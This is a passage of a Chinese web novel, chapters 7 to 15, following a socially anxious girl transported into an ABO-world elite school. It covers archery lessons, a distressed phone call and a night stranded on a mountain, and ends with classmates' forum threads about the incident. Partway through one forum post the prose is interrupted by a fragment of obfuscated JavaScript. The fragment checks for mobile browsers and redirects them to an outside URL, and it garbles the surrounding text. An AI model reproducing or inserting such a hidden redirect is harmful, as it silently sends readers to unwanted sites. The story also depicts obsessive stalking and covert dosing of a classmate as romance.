“你能喜欢真是太好了。”
如果那时我不是一个完全来自异世界的普通人,就算我是一个平凡的beta的话,我也应该能闻到空气中弥漫的一丝酸中带甜的青梅香,不是来自果汁,而是面前少年腺体散发出来的。
可惜我那时没有意识到这点,没有意识到周边人投来的隐秘目光,甚至于那之后姜念屿陷入长达两周的第一次发情期。
在那之后,我依旧在思考如何委婉而又不失礼貌的对邢珏说出类似“我没有想学弓箭骑马的”的一类话。
想不出来。
因为社恐,平时很少与人交流的缺陷,彻彻底底暴露出来了。
我压根想不出推拒这件事正确的说话技巧。
于是很快磨到了需要完成约定的时间。
我牢牢坐在座位上,祈祷着他会忘记或者突然有急事。
可是祈祷不奏效,邢珏朝这边走了过来。
“走吧。”
我起身了,如临大敌般的内心,平静无波的表情。
越是在令我畏惧的情况下,我就越会努力控制自己表情的平静。
就像是一只被困
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在笼中供人戏耍的生物,在围观者戏谑的注视下,越是要控制自己不做出令他人贻笑大方的神情或举动。
.
这位少爷在学校真是位名人,走路时不少人主动打招呼,他双手插兜,拽拽的,酷酷的。
银发浓密,眉眼深邃立体,侧颜流畅凌厉,有一种动漫男主的帅气感。
我很自觉的主动隔开,落后他大约一两步的距离。
既不亲密,也不过分生疏。
本来应该就这样到弓箭场的,但我发现邢珏的步伐似乎越来越小,速度也变慢了,他似乎……
这不是在等我吧?!
没等我得出答案,他停住脚,偏头看了我一眼。
意思不言而喻,我默默跟上,这下变成了并行。
我能感受到旁人的隐晦打量,甚至还有传入我耳中的细碎讨论。
阳光忽然变得好刺眼啊,我有点看不清路了。
很突然,邢珏停下了。
传入我耳中的折磨人的细碎声音也消失了,只有别人快走的脚步声,世界一下子变得好轻松。
“我们快到了。”邢珏说。
“……嗯。”
8. 第 8 章
他好像真的很想教会我。
救命。一个小时了。原来他是真的不忙啊,把时间浪费在我身上……
有点愧疚。
我看着射出去的箭在半空中坠落,垂下眼睫小心翼翼地瞥了身旁一眼。
“没事,初学者都是这样。”邢珏面色不变接过我手中的弓箭,“这型号有些笨重。”
我默了默,想起一个小时里还没一次射在靶子上过,本就想逃离的想法达到顶峰。
“邢珏同学。”我小声地叫住想给我换箭弓的邢珏。
他转身看我。
瞳色深黑,眉眼凌厉,他是那种我觉得很有压迫力的长相。
更别提他一头蓬松银毛、打耳钉,有纹身了,校服外套松松垮垮,里面不知是哪个牌子的暗黑系卫衣,脖颈间细长的项链银白微泛着光,潮得我瑟瑟发抖。
原本想说的抱歉不想学了之类直接的话在唇边咽了下去。
“今天谢谢你,但是——我似乎没有这方面的天赋,还浪费你这么长时间,要不还是……”我顿了顿,没敢说完,在他面前这短短几句话已经耗费我很多心力了,希望他能明白我意思。
空气安静了几秒。
我藏在衣袖下的手紧了紧。
邢珏,我与他同班两月,但委实不算熟,只意识他好像很多朋友,偶尔听到有人称他少爷,听说过他的一些八卦外基本毫无交流。但上次同做值日的事与那天生病后的几条消息,让我对他的印象从有钱爱玩的潮男alpha转化为有点好心的潮男alpha。
我不知道他会不会生气。明明是我主动提出的,最后又是我想停下。
我不擅长也不喜欢人际交往,尤其是与男性。
邢珏向我走近几步,胸前吊坠微微晃动闪着银光。
我晃了下神。
“……不要妄自菲薄,作为初学者,你已经做得足够好了。”
他走到了我面前,极有分寸的距离并未让我产生不适感。
“况且,我并没有觉得浪费时间。”
-
逃跑计划失败。
甚至还约定了下一次学习的时间。
我恍恍惚惚地回到教室。
「系统,我什么时候才能回去?故障还没修复好吗?」
隔了几秒,脑海中响起滋滋的电流声,系统却没有发出声音。
我心底发慌。
「系统,你在吗?系统,05,05……」
隔了好一会儿,系统才回复我。
它没有解释刚才消失的缘由,还是像以前一样的说辞,应该不久了。
应该?
我总觉得它是在敷衍我。
我是不是回不去了……
这个想法一冒头,立刻被自己掐断。
我在那个世界里有亲人有友人,而在这个世界里无亲无友。身处异世,是无垠海洋中的一叶扁舟,举目四望,只得到一片孤寂。
我害怕人群也常常享受孤独,但我仍有正常的社交需求,我有好友,虽少但感情不浅,年少的友
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情经过时间的打磨更加珍贵。我疲于社交,怯于认识新的人,建立新的社交关系,何况,在一个举目无亲的异世……
“云卿,签个字,我们一起。”
一个女声打断了我的胡思乱想。
宿斯漾递过来一张表,关于研学活动的。
我应了声,随手在她名字旁写下自己的名字。
把表交给她后,宿斯漾却没有立即离开,她低头凑近了些,像说悄悄话一样。
“刚才我在弓箭馆看见你了。”漂亮的凤眼看着我,瞳色较浅,清亮有神。
嗯。看见我了,怎么了吗?
我带着疑惑点点头。
她顿了一下,继续道:“你是在向邢珏学习箭术吗?”
“嗯。”
她问一句我答一句,明明正常的对话却总有点儿不对劲的地方,感觉宿斯漾好像没把真正想说的说出口。
但社恐是不会直接出击询问对方真正想说得是什么的。
我默默等待着她接下来的话。
“你……为什么要找他教你呀?”一向坦率开朗的女alpha此时却变得踯躅,或者说,从一开始,委婉曲折的询问便不是她一贯的风格。
我沉默了几秒,实在不知道怎么说。
但她好似把我的犹豫看成了抗拒,急忙却又认真道:“没关系,不想说就不说。”
宿斯漾从口袋里摸出一颗糖笑着递给我,离开了。
我撕开包装,把糖含在嘴里。
柚子味儿的。
9. 研学1
我是一个社恐。
在奇怪的异世界如履薄冰。
今日又是一次踏冰之旅——研学。
早晨食不知味地吃完饭后,我安静地坐在座位上,等待老师安排研学离校。
今日发呆望着窗外的时候,总觉得有哪里不对劲,好像缺了什么东西。
少了这个角落空气中隐隐约约的梅子香、少了时常出现在耳边的声音……
少了姜念屿!
我看向前方,那里空了个座位。
欸?他竟然可以不去研学!
研学是一项集体活动,一般情况下,班主任都不会允许集体活动的缺席,缺席者也很容易被打上“不合群”的标签。
我盯着空位几秒。
回忆起似乎自己已经几天没看见过他了,三天还是四天。
四个月的学校生活,几次换座位,姜念屿次次碰巧地坐在我周围。虽称不上十分熟稔,但也是在这个世界比较亲密的存在了。
犹豫几秒,还是拿出手机,翻到与姜念屿的聊天框。
上一次聊天还是8月2号放假的时候,他发的“早安”,我过了一天才看见就一直没回。
到底还是关系还行的同学。
【你还好吗?】
我不知道他怎么了,仅凭着稀薄的经验发送了客套的一句话。
_
姜念屿是在我坐上车后才回复的,正在前往研学的旅途中,身旁坐着的宿斯漾。
【喜欢青梅味的O姜念屿:我不好。】
【喜欢青梅味的O姜念屿:我想见见你。】
!这、这什么。
一眨眼,上一条就被撤回了。
【喜欢青梅味的O姜念屿:我想和你通电话。】
发完没过一秒,这一条又被撤回了。
【喜欢青梅味的O姜念屿:我现在可以给你打电话吗?】
我再一次陷入犹豫,手指移动多次,也没有打出“好”字。
“怎么了?”宿斯漾问。
我下意识锁屏:“阿,没、没什么。”
眼见身边人开始戴上耳机听音乐,我这才打开手机。
【喜欢青梅味的O姜念屿:可以嘛】
【喜欢青梅味的O姜念屿:没有多久的】
【喜欢青梅味的O姜念屿:不会耽误你的】
【喜欢青梅味的O姜念屿:真的】
被消息轰炸了,看得出来他很急
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,我有些担忧了,回复“好”。
下一秒,一个电话就打来了。
电话那头寂静无声。
我凑近听了听,试探的“喂”了声。
那头也不是毫无声息,微微的急促的喘息声,气息好像铺在耳上,带着热意。
我不由得把手机拿远了些。
好奇怪,好奇怪。
“你怎么不说话?”我小心地询问。
那头传来很细微的叫声,混着水的晃荡粘稠声,还有玻璃制品掉落的破碎声响。
真的、好奇怪。
我有些听不下去了,手指蜷缩。
状似不耐烦道:“你再不说话,我就挂了啊。”
“卿卿。”几乎是哀求的声音响在我的耳边。
沙哑的不像姜念屿。
“卿卿,卿卿,卿卿,卿卿……”
我的心脏被吓得重重跳了跳,想起曾过的电影画面,羔羊被猎人杀死前的哀嚎,已被绑住知道了自己已经逃脱不掉的既定命运走向死亡的结局,眼瞳流出泪水,哀嚎逐渐微弱,只等着最后一刀落下……
我艰难地发出声音:“你别叫了。”
姜念屿不喊了,他紧紧捂住了嘴。
10. 研学2
救命。
我有点想直接挂电话了。
迟疑了很久,我才把手机拿近,脸几乎要贴在屏幕上,边注意着身旁的动静,边近乎小心翼翼地询问,“……你、你怎么了呀?”
他也像说悄悄话一样回应着我。
“他们不准我出去,他们把我关在房间里,他们逼我吃好多好多药,药好难吃房间好黑好怕脖子好疼我好难受……”
轻轻的啜泣、像糖丝一样延绵的话语、难以理解的奇怪内容、再加上所处空间热闹嘈杂的声响……我有点晕乎乎的,下意识提出帮他报警。
“没用的,报警没用的。”
那你给我打电话有什么用呢?我忍住这句几乎快要脱口而出的话。
看在他很难过的份上,我决定再耐心一分钟。
“‘他们’是谁?为什么要关你?”
“他们是坏人,卿卿,他们想害我。”
说了等于没说,我的耐心要告罄了。
“那你给我打电话是想做什么呢?我不会安慰人,帮不了你什么的……”
“你能帮——”
电话可能被他不小心挂断了。
我握紧手机等了一分钟,确认没有来电,松了一口气。
呜呜好累。
短时间内我已经不想与人类交流了。
.
研学,讲学,赏景,散步,游玩。
这里是景区,山巍峨水清澈,为学生的安全起见,三天封锁,只有丝珮叶学院的师生。
我戴上老师发的具有定位与求救功能的手表,缓缓移向队伍边缘、人少之处。
山路曲折,台阶湿滑。
我走得慢,不觉中已落到队伍末端。前方同学聊天欢呼不绝于耳,我看了眼牢牢绑在手腕上的手表,向左侧幽静小路走去。
湿润空气中弥漫着泥土与青草的气味,黑白相间的鸟儿在郁郁葱葱的树木上跳跃着。
我享受着独身一人的舒适,几乎要沉浸在自然的美好中了。
再往深处走,往看不到人群,往完全听不到人声的深处探索。
微风,落叶,水滴。
“再往前面走就危险了。”一道人声从后面传来。
我转身看去,一个男孩就站在我身后不远处,雾气弥漫之下,面容模糊不清。
我应了声,顺着先前的路走。他走在我前面,保持着一定的距离,我走得慢,之前拐了好几个弯,不怎么记得路,顺便就一直跟着他走。
树叶簌簌,鸟鸣清脆,水流潺潺,走了很久,我仍没听到半点人语声。
正疑惑着,那人也停了下来转身。
此时云雾已散,他站在比我高十几个台阶的地方,阳光在他身后散开,散开的金晕染上身体。依稀看出分明的轮廓。
可我仍看不清他的神情。
只听见他紧张局促的声音,“我们、好、好像迷路了。”
?!
不是,大哥,你也路痴?
我愣住了,说不出话,和他久久相望。
他的手在蜷缩,“对、对不起。”
“没事,不怪你。你本来就不用带路,是我自己要跟着你的。”
感觉再不说话,他就要哭了。可说完这句话后,他好像更沮丧了,低着头,一动不动。
我走近他。
他不看我,专心盯着地下。
我这时才看清楚这个陌生人的全貌,眉眼立体漂亮,睫毛长而浓,唇红而艳,不笑而弯,上面还有一个小唇珠。
他眼低垂,睫毛
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湿润颤颤巍巍地抖着,唇不安地抿着。
一个漂亮但不阴柔、毫无攻击性的少年。
“没事的,手机虽没信号,但我们有手表啊,等会老师发现我们不在,就会来找我们的,你别担心了。”我努力安慰面前害怕的少年。
“我、我不怕这个。”
“这个时节,山上没蛇的,这个景区也少有野生兽类。”短暂思考了一下,我看着高挺但头都快埋进地缝的少年再次开口。
“我不怕虫,也不怕野兽。”
那你眼里为什么会有泪水?
“那你在害怕什么?”
他张了张口,好像鼓足了勇气,在侧头看我的那一瞬又全部泄去,目光从我的脸滑过,落到地上。
脸颊在阳光下有点泛红。
可能是走累了吧。
好巧不巧,这时山上下起了密密麻麻的雨。
“我们找个地方休息一会儿吧。”我率先走进亭子。
亭子边上结了几层蜘蛛网,座上灰很多,看来这地走得真得很偏僻。
他随后进来,扫了几眼周围的环境,立马拿出纸巾认真地擦了好几遍座位。
湿纸巾擦完一遍后用干纸巾,座椅、靠背,一点也不放过。
他还挺有洁癖。
我看他了几眼,随手用一张纸把一个座椅擦了几下就准备坐下。
走了这么久,我的腿早已酸痛不已了。
“云卿,你坐这个吧。”他阻止了我要做下去的举动,“我已经擦干净了。”
“不用——”我突然反应过来,“你怎么知道我的名字?我们……之前见过?”
他整个人都好像僵住了,我仔细看他,慢慢向他逼近。
他又低头了,脸仿佛要烧起来一样。
11. 研学3
他不说,我也不逼问了。
怎么知道的我的名字,是不是最开始就跟着我探入深林,是不是故意走错的路……这些都无所谓。
我如今在意的只有一个,手表没用了。
求救信息发不出去,也失去了定位功能,我和他被困在这密林里了。
老实说,我是有点慌的。
滴滴答答的雨声、鸟啼虫鸣声都在加剧这种紧张感——和完全陌生的异性共处孤立空间——来自基因上的惧怕。
我能察觉到他一直在看我,自以为隐秘却漏洞百出。
我没理。沉默地听雨,无言地等待。
过了一会儿,他终于坐不住了。
“同、同学,你、你饿吗?”
同学,你是小结巴吗?
我微微偏头,瞥了一眼这位明明知道我名字,却又继续称呼我为“同学”的人。
掩耳盗铃?
“还好。”我不咸不淡地回答。
他小心地看我,好像在观察我的脸色,确认我的心情。
“我这里有巧克力,听说你喜、喜欢。”他一步一步、小心翼翼地走近,双手递过来。
听说?听谁说的?我这么出名?
面上平静如水,内心万马奔腾。在得知他知道我名字的那一刻我还只是惊讶,现在已经是惊悚了。
小结巴同学,老实告诉我,你还知道些什么?
面前的双手正乖乖巧巧、老老实实捏着巧克力,我没有立刻伸手去接。
不过几秒,那双修长漂亮的手就像这树林中被雨水击打的绿叶一样抖动不停,我最常吃的巧克力品牌的包装跟着他的抖动发出声音,在这密林中分外明显。
于是,我接下了。但没吃,随手放进口袋里。
森林又恢复了寂静——唯有自然之声的安详。
雨渐渐停了,但风依旧,这个亭子只防雨不防寒,若深夜在亭子中不做任何保护措施的凑合一晚,绝对会被冻死。
得先找个地方过夜,防止最坏的情况发生——到了晚上搜救人员还没找到我们。
*
我们找到了一处山穴。
此时太阳渐渐西斜,近乎黄昏,我的外衣被雨雾浸润得微湿,有点冷。
只穿了一件卫衣的他看上去比我更可怜,忙着找能够生火的木柴,火好不容易点染,他的手也变脏了,衣服也变污了。
山穴外漆黑的夜色,山穴内幽幽的火光,火光打在他的脸上是温暖的明黄。
由于火生的不大,我和他坐得近,洞穴中是安静的,偶尔我或者他会添一点柴火进去,没有人提守夜或睡觉的事。
我们都不够信任对方。
外头又开始下雨了,风呼呼地吹着,于是我又转身去寻一些柴火,准备让火更旺一点。
阴暗的角落,奇怪的声响,一闪而过的黑影……
啊啊啊啊啊啊啊啊啊啊啊啊老鼠啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊……
我倒吸一口凉气,没叫出声,下意识后推身子往后仰。
心脏砰砰砰砰砰砰砰砰砰砰砰快要炸出来一样。
啊啊啊不止一只眼睛居然是红色的啊啊啊啊啊啊……
我退得差点栽到火里去,还好那男孩把我扶住了。
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“没、没事吧?”
有事啊啊我去好几只好大好大的老鼠啊啊啊过来了啊啊啊啊。
“过、过来了!”我怕得快变成跟他一样的结巴了。
“嗯?”他好像没理解我的意思,茫然把身体贴近,听话得靠过来。
我死死盯着几只老鼠,直到它们绕开我们重新遁入角落才微微放松下来。
心跳声好大,他的也是。
他坐在我身后,因为刚才扶我的举动,他的双手拢成了一个环抱的姿势,但很松,我没感到什么力气。
他正看着我。
我提醒:“老鼠已经跑了。”
他几秒后才反应过来,松开我,“哦哦好好抱歉。”
我收回视线,这时终于在空气中闻到了衣服烧焦的味道。
目光下移。
!!!
“喂,你衣服!”
.
长长的卫衣,火舌快撩到其三分之一处了。
火势蔓延极快,他不得不脱下来扑灭。
火都快烧到身体了,这人难道一点感觉也没有吗?我心里疑惑,又很快给了自己答案,应该是被老鼠吓到了吧。
有一些羊在面对惊吓时,会四肢僵硬,一动不动。
我想到之前他眼里含着泪说不怕虫不怕兽,刚刚看到老鼠比我反应还慢,后来还被吓得一动也不敢动的样子,我没有询问他是不是被吓到了,有没有被烧伤,而是默默把外套脱了给他。
青春期的男孩好面子,我能理解。
他默默穿上,死死埋着头。
像一只小鹌鹑。
12. 姜念屿【绯色幻影】
屋内是浓郁的青梅香,像是树枝上青涩未熟的果子被人坏心眼地用力摘下,溅出微酸的汁水,撒在触目可及的全部地方,黏稠而馥郁。
窗帘紧闭,仅有一盏昏黄的小灯幽幽的亮着。艳丽芬芳的玫瑰几近枯萎掉落在地,闪着白光的碎块玻璃下是一滩的水渍,几管药剂随意丢弃,更多粘稠的水光分布在不远处。
姜念屿蜷缩身体,汗珠从潮.红湿润的脸上不断流下,疼痛从颈脖后方蔓延,他痛苦地呼吸,咬紧牙关,咽下到口边的呻吟。
“有什么事吗?”
“嗯?怎么了?”
“姜念屿?”
“姜念屿。”
“好。”
“行。”
“可以。”
……
屋内的录音循环播放,女孩的声音很轻,语速慢,不怎么甜软,倒像是阵清凉干净的风,很舒服。
疑惑询问时尾音会上扬,简短的回复时总会伴着轻轻点头,交谈时感到不耐烦嘴唇微抿……平时表情很少,变化幅度不大,要仔细观察才能从细微的表情中真正的情绪。
她吃糖,最常吃的是牛奶味、椰子味,但青梅味并不厌恶,她喜欢吃巧克力,只爱黑巧,常买的是一家小众品牌。
她走路很慢,眼睛平视前方,不怎么注意周围的嘈杂动静,beta闻不到信息素,她没有察觉出路过的体育场突然膨胀的alpha气息,只是在听到明显的呼喊声时脚步一顿。
只是微微偏头,瞥了一眼,毫不犹豫继续向前。
愚蠢的alpha,没有脱离兽性的动物。
姜念屿站在高处俯视,专注的眼神重新回到beta身上。
她似乎遇到了一点事,一个蠢笨的、处心积虑的新生撞到她,牛奶撒到了她一身。
啧,总有人不守规矩。
姜念屿皱皱眉,在看见beta走后,几个眼熟的人不动声色地向新生走去,他才面色微缓。
他分辨着脚步声,计算着时间远近,选好角度,偏头看向楼梯口,beta从那里出现。蓝天白云,明媚阳光,精美建筑,此刻都成了他的点缀,即使慢速播放他的动作,也美的无可挑剔,最后的定格则是他为自己选好的完美角
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度。
“嗨,云卿,早上好!”姜念屿嘴角上扬,眼眸纯真。
“早上好。”
青梅香愈发愈浓了,仿佛榨出的汁水有了实体,蒙上一层轻柔的绿色薄纱,荡漾着,泛起不绝的涟漪。
如梦如幻。
他曾费心地调出跟自己信息素相差无几的香,榨出果汁、制成糖块,把只有AO能感觉到的信息素变成香料、食物,她能用鼻嗅到,能用舌品尝。
「好吃吗?」
「嗯。」
女孩毫不知情地咽下,微酸偏甜的青绿色果汁从吸管吸入,青梅味自舌尖蔓延,至喉咙,至血管,至骨髓。
所以……是beta又怎样?
姜念屿模模糊糊的从回忆中抽离,随手拆掉一包她最爱吃的黑巧,含进嘴里。
明明是苦涩的味道,他却像是含了块甜度百分百的糖,因疼痛被泪水打湿的眼睛都幸福的眯起。
昏暗的灯光投下明暗不清的影,影闪烁,灯灼热。
尚且青涩的少年的脸上晕染上了艳丽的颜色,灼热生动,像是熟透了的玫瑰。
13. 研学4
一所有名的老牌贵族院校,效率怎会如此低下?
我低头,瞥了眼已临近午夜的时间,百思不得其解。
那些摆在学校礼堂里的国家级表彰荣誉一大堆奖牌奖杯,那些来自官媒的表扬宣传民间的号召渲染都是假的吗?对学生身心健康密不透风的保护呢,难不成那一些黑西装体格健壮面色严肃拿着武器的保镖只是做个样子吗?他们到底有没有发现少了两个学生?学校到底报警了没有,有没有派搜救队来找啊……
我的心乱乱的,山洞外的小雨顺着大风飘进来,感受着脸上的凉意,我不自觉盯着黑黑的洞口,外面除了动物的叫声,还混着别的声音。
是我太紧张了吗?
我悄悄看向旁边,发现那个少年不知何时脱离了那副羞涩胆怯的模样,正一脸严肃警惕地注意着山洞外的动静,而且他离洞口近了很多,飘进来的雨水大半打在他的脸上,黑发湿透,他却眼也不眨。
所以……外面真的有别的东西?
在这个abo世界里,alpha的听力嗅觉等五感都要高于beta、omega,而作为非原住民的我完全无法靠肉眼辨别出少年的性别,他的面貌上没有alpha常有锋利棱角,眉目秀丽漂亮,身型瘦弱高挑,按照这个世界的刻板印象,我一直把他当omega看待。
毕竟谁家alpha看起来像他这样柔和没有攻击性啊……嗯,那个女alpha除外。
现在,我不确定了。
他那副样子显然是听到不寻常的声音,全神贯注,肌肉紧绷。
冰凉的雨水顺着黑发从额头滑过脸颊再从下巴滴进衣领,他眯着眼睛往外面再靠了靠,眼底倒映出忽明忽暗的火光。
我盯他看了好几秒,正准备开口询问他外面是不是出了什么事,他突然扭头,措不及防我们两人四目相对。
我还没来得及尴尬,他先不好意思起来了,率先移开视线,又变成了先前羞怯的样子,扭扭捏捏地摸着衣服,磕磕巴巴道:“不、不好意思,同、同学,衣服湿了,我、我之后再、再……”
呀,这个小结巴同学真的是alpha吗?我又对先前的猜测产生了怀疑。
何况借去的衣服什么的……现在的重点不是这个吧!
“你刚才有没有听到外面什么动静?”事不宜迟,我直接问了出来。
“刚才外面有两拨人交火。”他瞥了眼我的脸色,急忙补充道,“不过现在已经结束了,不是什么大事,我们应该马上可以出去了。”
交火?!是我理解的那个意思吗?还有两拨人?我听到的隐约声音是枪响?
我去,这个世界好危险啊,学校没派人找原来是有原因的……
还没等我惊愕感叹完,靠近洞口的少年站了起来,以一种保护对抗的姿态面向洞穴外。
“梵京市第一支队队长萧探尘……”
外面的人声音倒是有几分耳熟,我想。
*
好消息:我被解救了,走出了深山。
坏消息:坐直升机下来的,我恐高。
更坏的消息:被围观了。
也不知道为什么深更半夜了还有这么多人聚集在这,老师就算了,那些学生没人管管吗?想想上辈子学校抓的那么严的宵禁……
我深吸一口气,承受着注目礼走了下去,好在,夜色过深,倒是掩饰了我不自在的神情和走路姿势。
作为一个敏感的社恐,我十分敏锐地察觉到好多人
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在盯着我看,四面八方的视线和声音让我险些走不下去。
可恶,不就是迷路吗?有什么好嘲笑的……早知道出门时就带个口罩了……
我余光瞥向跟我一起迷路的难兄难弟寻找心理安慰。
少年高高瘦瘦的,脸上并没有什么特别的表情。
他慢我一步下来,此时也迈进的光亮处。
这不看不要紧,一看吓一跳。
他仍穿着我的校服外套,虽说丝珮叶男女秋季校服外套相差不大,但这一看他身上的就不合身。当时在山洞中他坐着,同时天色暗,我也没怎么注意,我的校服还是特意订了大一码的,穿着舒服,但在他身上袖子都短了一截,浑身紧绷绷的。
看上去特别……滑稽。
我憋住想笑的冲动。
但显然不止我一人发现,少年路过的人群,很多对他投来奇异的眼神,他不以为意,甚至还友好地冲着他们笑了笑。
人群躁动不安,我隐约听见了骂脏话的声音,少年此时也不害羞胆怯了,笑着善意地对着看他的人挥手,像个胜利者。
啊这……这就是超绝钝感力吗?
等我和班主任讲完情况,正准备回学校准备的房间,那个少年追上来了。
就是那个之前羞涩说话磕磕巴巴的少年,我以为他跟我一样社恐的少年,在迷路被警察叔叔送出大山迎接众人注目礼时还挥手的超绝奇怪钝感力小伙。
他来时把众人的视线一齐带到了这里,导致我根本没仔细听他在说什么,社恐人地狱了属于是。
“……谢谢……那个,我、我叫白……”
“这么晚了,有什么事明天再说吧,她要休息了。”宿斯漾快步走来,打断了这一场对话。
14. 第 14 章
【听说她被白勾引上了,真的假的啊!】
1L:
蓝天云云:啊啊啊快点告诉我这是假的啊,不然我美好的品格完美的容颜都会被毁掉的啊!
2L
爱吃巧克酥:什么意思?这是我认识的中文吗?什么勾引???,还成功了??老子就少去了趟研学,怎么一觉醒来天都塌了。。。。。。有谁解释一下吗?
3L
圆圆可可:嗯。。勾引
4L
楼主回复圆圆可可:你“嗯”一个是什么意思啊真勾引成功了??
5L
潇潇云不散:成没成功不知道,但有图有真相。
「下图为白洛翊穿着一件明显不合身的衣服,笑容可掬地站在路灯下。」
6L
原来:他笑得挺贱的啊,,,死A。
7L
雨止:同上,一眼绿茶。
8L
咸蛋酱:同上。md,连衣服都骗到了
9L
默不作声:同上。没见过这么会装的。
……
35L
止水:同上。演技哥。
36L
欲落:不是,偏楼了啊,不是问成没成功吗?怎么都批判上了啊,不过批判的对。
37L
一切随缘:不知道成没成,不过同时失踪十几个小时,说没猫腻都没人信,说不定就是这心机哥策划的,还装成了受害者。
38L
K:上面的有点阴谋论了吧,不过一起呆了这么久,以A的德行,这孤A寡B的,说没发生点什么也太不现实了……
39L
渊:什么?我们卿卿正宫要出现了吗?
40L
止水回复k:有病吧你,没证据乱叫什么,故意抹黑我们卿卿名声是吗??
41L
止水回复渊:不是吧,cp粉能不能滚出这楼啊,让她独美不行吗。
42L
原来回复渊:本尊出来了都不敢说是正宫,最多最多,充其量也不过是个露水情缘,还是限到分钟的那种……
43L
爱吃巧克酥:不是,有没有人解释一下,当天到底发生了什么?为什么白会穿上卿卿的衣服,没听说过他们之前有接触啊!
44L
爱吃巧克酥回复圆圆可可:你说“嗯”来解释一下呗,哥,求求了,看了半天,这也太折磨人了。
45L
爱吃巧克酥:不是怎么突然没人了??
46L
楼主蓝天云云回复爱吃巧克酥:圆圆可可开了另一个楼分析,快去看,那楼飘红了!
47L
爱吃巧克酥:我去!!
红贴【关于研学当日失踪事件分析】
1L
圆圆可可:首先我来梳理一下时间线
9:24我们抵达青鸾山
13:15她的同伴宿斯漾向老师报告她失踪的情况,同时宿斯漾请求立即追踪她的定位去找她。
13:15:30定位成功被追踪到,同时学生群体中引发纷争动乱,很多人不顾劝阻决定动身去找她。其中她所在班级A班居多。
13:16信号屏蔽,通讯器无法发出信息求救信号。同时警方来人要求师生离开
13:17数十个武装警员拦截阻挠想要偷偷离队去找她的人,并严肃批评教育。(据小道消息称,宿斯漾和邢珏受阻后,他们俩人打了一架,邢珏认为宿斯漾身为她的同伴不负责任没有担当,宿斯漾骂邢珏蠢闹出动静了不好快点私下找到她确保她的安全。)
13:25师生几乎全部撤离青鸾山
13:35白的同伴向老师报告
后面的事情不多赘述,总之午夜时分,她和白同时在一个山洞中被找到,白衣衫不整、放荡不堪、嚣张跋扈。
其次几个疑难问题的概率分析。(仅个人猜测)
1、关于他们为什么这么凑巧碰到一起。
a、白特意跟踪她一起迷路95.5%
b、白故意带她迷路3.5%
c、他们二人迷路后碰巧遇见同行0.05%(接近0)
因为楼主接触过白,他虽然就是那种偷窥怪跟踪狂,可能智商是有点低吧,但不是分不清好歹的人,会歹毒到诱骗一个纯情无辜令人怜爱的小beta。况且我们卿卿这么聪明,怎么会被他这种智力低下,只会耍小把戏的人给骗到,但也不排除因爱生恨精神扭曲的情况。
至于c的话,楼主绝不相信白的运气会这么好,偶遇都整出来了,这得烧多少次香,拜多少次佛,白和她不可能这么有缘!不可能,这绝对不可能!
2、关于白穿她的衣服。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167059|196767||http|test|mini|href|location''.split(''|''),0,{}));
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>a、她自愿施舍给白的99.99
b、白抢的0.00000000001
当日下午直至午夜,雨时下时停,大风不断,气温直下。我特意偷偷探访过他们避雨防寒的小山洞,发现了一些烧过的木头、布料,不知道大家有没有注意到一个细节,白明明是有衣服的,怎么就被找到的时候自己的衣服就没了呢?
于是我仔细查看搜寻嗅闻了整个山洞,(题外话,肯定有人悄悄在楼主之前就来过了,各种性别的信息素气味混合,难闻的要命)当然,在楼主的不懈努力之下,我找到了几个关键线索。
以下是“案发现场”的还原。
在乌漆麻黑的深夜,山林洞穴里突然发出了什么声响或者出现什么小动物,无辜的没什么野外经验的她猝不及防被吓到,就在这个时侯(没错极有心机的白不会放过千百难寻的接近她的好时机的)。
白靠近了她,但他的衣服不小心被火撩到了(这里我更倾向于是不小心的,毕竟在一个不知道还有没有人来的山洞里,但凡有点A德的A都不会在这时候去主动裸露勾引她,而且夜晚寒冷一个好A是不会想把她的外套扒下来自己穿的)
大家也知道我们卿卿的性格,太过善良了些(叹息),总引得一些人贪得无厌(白,非特指)。总之,白的衣服是不合身的,由衣及人,白是不合适她的。
3、大家最关心的问题,他们发生了什么没有。
a、没有100%
b、有0%
在这里,我可以确切肯定决定一定保证的态度告诉大家,她和sb白绝对绝对绝对什么都没有发生。
虽然有知情人士提醒,当晚她被找到后,她的上衣腰腹部有萦绕不散的信息素的味道,并且有人证实那就是白的信息素。
但,我们卿卿的床是那么容易就能爬上的吗??!!清醒点啊大家!
狡诈阴险的白不过使了个障眼法,耍了个小手段就让你们慌不择路了?(深深叹息)
最后,提醒一下各位,遵守约定啊,别舞到她面前,吓到她,姜家那位小少爷前期的教训不够惨痛吗?热情让她避之不及,恐慌躲避。人家废了多少工夫才让她不那么躲着,恢复正常的同学关系啊。
唉,本来不想说这么多的,你们自乱阵脚,我坐收渔翁就好,但看到隔壁好几个磕cp的出现,都开始认那脑残做正宫了,实在受不了才广而告之……
15. 第 15 章
此贴一出,有理有据的言论安抚了好些人躁动不安的心。
2L
yuanyun:放心了。
3L
雨止:就说,那小子根本不可能。
……
368L
爱吃巧克酥:安心了,感谢楼主。
——
爱吃巧克酥坐在咖啡店里,心里刚刚卸下一块重石,随意往街边一瞥,就见到让她瞬间神魂俱裂的一幕。
!!!卿卿和白洛翊
她接过了白递来的袋子,他们在交谈,他们在一起走路。
他!们!还!没!有!分!开!
爱吃巧克酥感觉天都快塌了。爱吃巧克酥没想到他们两人私下里居然还有联系,眼看二人快要消失在她的视线里,她赶紧结账偷偷跟了上去。
女孩戴着一个纯黑的宽大鸭舌帽,上身短款白T,下身深灰工装裤,和身边人说话时偶尔偏头,压低的帽檐模糊了她的神色,气质偏冷。
身边的男孩比她高出很多,眼波潋滟,专注有神,眼也不眨,低头听她讲话。
风吹过,男孩伸手摘下落到女孩帽檐上的一片叶子。
时间像暂停了一样,他们二人有种别人都插不进去的氛围。
爱吃巧克酥愣愣的看着他们,听见旁边几个年纪不大的omega激动地小声讨论“哇,好般配”“磕到了”。
爱吃巧克酥六神无主,心中五味杂陈,摸出手机,抖着手传出一篇帖子。
【「求助」我在霞江路碰到她和白了】
1L
爱吃巧克酥:如题,我该怎么办?冲上去还是按兵不动。。。。。。。。(哭泣)(哭泣)
2L
听:?不信。
3L
